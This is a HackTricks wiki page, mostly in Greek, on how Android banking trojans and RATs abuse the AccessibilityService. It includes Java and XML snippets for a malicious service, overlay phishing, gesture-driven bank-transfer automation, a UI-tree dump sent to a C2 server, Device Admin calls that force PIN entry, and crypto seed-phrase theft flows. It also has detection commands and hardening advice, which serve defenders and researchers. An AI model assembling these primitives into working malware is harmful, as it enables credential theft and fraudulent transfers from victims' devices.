Κατάχρηση Android Accessibility Service

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

AccessibilityService δημιουργήθηκε για να βοηθά χρήστες με αναπηρίες να αλληλεπιδρούν με συσκευές Android. Δυστυχώς, οι ίδιες ισχυρές automation APIs (global navigation, text input, gesture dispatch, overlay windows…) μπορούν να οπλοποιηθούν από malware για να αποκτήσουν πλήρη απομακρυσμένο έλεγχο της συσκευής χωρίς δικαιώματα root.

Σύγχρονα Android banking Trojans and Remote-Access-Trojans (RATs) such as PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda and many others ακολουθούν την ίδια συνταγή:

  1. Social-engineer το θύμα ώστε να ενεργοποιήσει μια κακόβουλη accessibility service (η άδεια BIND_ACCESSIBILITY_SERVICE θεωρείται "high-risk" και απαιτεί ρητή ενέργεια από τον χρήστη).
  2. Χρησιμοποιήσουν την υπηρεσία για
  • να συλλάβουν κάθε UI event & κείμενο που εμφανίζεται στην οθόνη,
  • να ενέσουν συνθετικές χειρονομίες (dispatchGesture) και global actions (performGlobalAction) για να αυτοματοποιήσουν οποιαδήποτε εργασία επιθυμεί ο χειριστής,
  • να σχεδιάσουν overlays πλήρους οθόνης πάνω από νόμιμες εφαρμογές χρησιμοποιώντας τον τύπο παραθύρου TYPE_ACCESSIBILITY_OVERLAY (χωρίς prompt SYSTEM_ALERT_WINDOW!),
  • σιωπηλά να χορηγήσουν επιπλέον runtime permissions κάνοντας κλικ στους διαλόγους του συστήματος εξ ονόματος του θύματος.
  1. Να εξάγουν δεδομένα ή να πραγματοποιήσουν On-Device-Fraud (ODF) σε πραγματικό χρόνο ενώ ο χρήστης κοιτάζει μια απολύτως φυσιολογική οθόνη.

Αίτηση της άδειας

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Το συνοδευτικό XML ορίζει πώς θα μοιάζει το ψεύτικο παράθυρο διαλόγου:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Βασικά στοιχεία απομακρυσμένης αυτοματοποίησης UI

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Με αυτές τις δύο APIs μόνο, ένας επιτιθέμενος μπορεί:

  • Ξεκλειδώνει την οθόνη, ανοίγει την εφαρμογή τράπεζας, περιηγείται στο UI tree και υποβάλλει μια φόρμα μεταφοράς.
  • Αποδέχεται κάθε permission dialog που εμφανίζεται.
  • Εγκαθιστά/ενημερώνει επιπλέον APKs μέσω του Play Store intent.

Πρότυπα κατάχρησης

1. Overlay Phishing (Credential Harvesting)

Μια διαφανής ή αδιαφανής WebView προστίθεται στον window manager:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Το θύμα πληκτρολογεί τα credentials στη ψεύτικη φόρμα ενώ η εφαρμογή στο παρασκήνιο λαμβάνει τις ίδιες χειρονομίες – δεν εμφανίζεται ποτέ κάποιο ύποπτο "draw over other apps" prompt.

Λεπτομερές παράδειγμα: η ενότητα Accessibility Overlay Phishing μέσα στη σελίδα Tapjacking.

2. On-Device Fraud automation

Malware families such as PlayPraetor maintain a persistent WebSocket channel where the χειριστής μπορεί να εκδίδει εντολές υψηλού επιπέδου (init, update, alert_arr, report_list, …). Η υπηρεσία μεταφράζει αυτές τις εντολές σε παραπάνω χαμηλού επιπέδου χειρονομίες, επιτυγχάνοντας σε πραγματικό χρόνο μη εξουσιοδοτημένες συναλλαγές που παρακάμπτουν εύκολα το multi-factor-authentication δεμένο με αυτή τη συσκευή.

3. Screen streaming & monitoring

By combining the MediaProjection API with an RTMP client library, the RAT can broadcast the live framebuffer to rtmp://<c2>:1935/live/<device_id>, δίνοντας στον επιτιθέμενο πλήρη επίγνωση της κατάστασης ενώ η Accessibility engine χειρίζεται το UI.


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iterate over a hard-coded list until one domain answers POST /app/searchPackageName with the active C2.
  2. WebSocket (port 8282) – αμφίδρομες JSON εντολές:
  • update – προωθεί νέες conf/APKs
  • alert_arr – ρυθμίζει overlay templates
  • report_list – στέλνει λίστα με στοχευμένα ονόματα πακέτων
  • heartbeat_web – διατήρηση σύνδεσης (keep-alive)
  1. RTMP (port 1935) – ζωντανή μετάδοση οθόνης/βίντεο.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – κοιτάξτε για εφαρμογές που δεν προέρχονται από Google Play.
  • MDM / EMM solutions can enforce ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) to block sideloaded services.
  • Αναλύστε τις τρέχουσες υπηρεσίες:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • Σημειώστε ευαίσθητες προβολές με android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Συνδυάστε setFilterTouchesWhenObscured(true) με FLAG_SECURE για να αποτρέψετε tap/overlay hijacking.
  • Ανιχνεύστε overlays ελέγχοντας περιοδικά WindowManager.getDefaultDisplay().getFlags() ή το API ViewRootImpl.
  • Αρνηθείτε τη λειτουργία όταν Settings.canDrawOverlays() ή μια μη αξιόπιστη Accessibility service είναι ενεργή.

ATS automation cheat-sheet (Accessibility-driven)

Malware μπορεί να αυτοματοποιήσει πλήρως μια bank app χρησιμοποιώντας μόνο Accessibility APIs. Γενικά primitives:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Παράδειγμα ροής (Τσέχικα → Αγγλικές ετικέτες):

  • "Nová platba" (Νέα πληρωμή) → κάντε κλικ
  • "Zadat platbu" (Εισαγωγή πληρωμής) → κάντε κλικ
  • "Nový příjemce" (Νέος παραλήπτης) → κάντε κλικ
  • "Domácí číslo účtu" (Αριθμός εγχώριου λογαριασμού) → εστίαση και ACTION_SET_TEXT
  • "Další" (Επόμενο) → κάντε κλικ → … "Zaplatit" (Πληρωμή) → κάντε κλικ → εισάγετε PIN

Εναλλακτικά: σκληρά κωδικοποιημένες συντεταγμένες με dispatchGesture όταν η αναζήτηση κειμένου αποτυγχάνει λόγω προσαρμοσμένων widgets.

Επίσης παρατηρήθηκε: προ-βήματα για check_limit και limit με πλοήγηση στο UI ορίων και αύξηση των ημερήσιων ορίων πριν τη μεταφορά.

Ψευδο-ροή οθόνης βασισμένη σε κείμενο

Για απομακρυσμένο έλεγχο χαμηλής καθυστέρησης, αντί για πλήρη ροή βίντεο, εξάγετε μια κειμενική αναπαράσταση του τρέχοντος δέντρου UI και την στέλνετε επανειλημμένα στο C2.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Αυτό είναι η βάση για εντολές όπως txt_screen (μία εκτέλεση) και screen_live (συνεχής).

Βασικά primitives εξαναγκασμού για Device Admin

Μόλις ένας Device Admin receiver ενεργοποιηθεί, αυτές οι κλήσεις αυξάνουν τις ευκαιρίες για τη συλλογή των credentials και τη διατήρηση του ελέγχου:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Σημείωση: η ακριβής διαθεσιμότητα αυτών των πολιτικών διαφέρει ανά Android έκδοση και OEM· επικυρώστε το device policy role (admin vs owner) κατά τη διάρκεια των δοκιμών.

Crypto wallet seed-phrase extraction patterns

Παρατηρούμενες ροές για MetaMask, Trust Wallet, Blockchain.com και Phantom:

  • Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
  • Πλοήγηση: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Συλλογή της φράσης μέσω keylogging των text nodes, secure-screen bypass, ή screenshot OCR όταν το κείμενο είναι κρυφό.
  • Υποστήριξη πολλαπλών τοπικών (EN/RU/CZ/SK) για σταθεροποίηση των selectors – προτίμηση στο viewIdResourceName όταν είναι διαθέσιμο, fallback σε multilingual text matching.

NFC-relay orchestration

Accessibility/RAT modules μπορούν να εγκαταστήσουν και να εκκινήσουν μια αφιερωμένη εφαρμογή NFC-relay (π.χ. NFSkate) ως τρίτο στάδιο και ακόμη να εισάγουν ένα overlay guide για να καθοδηγήσουν το θύμα μέσα από τα βήματα του card-present relay.

Ιστορικό και TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks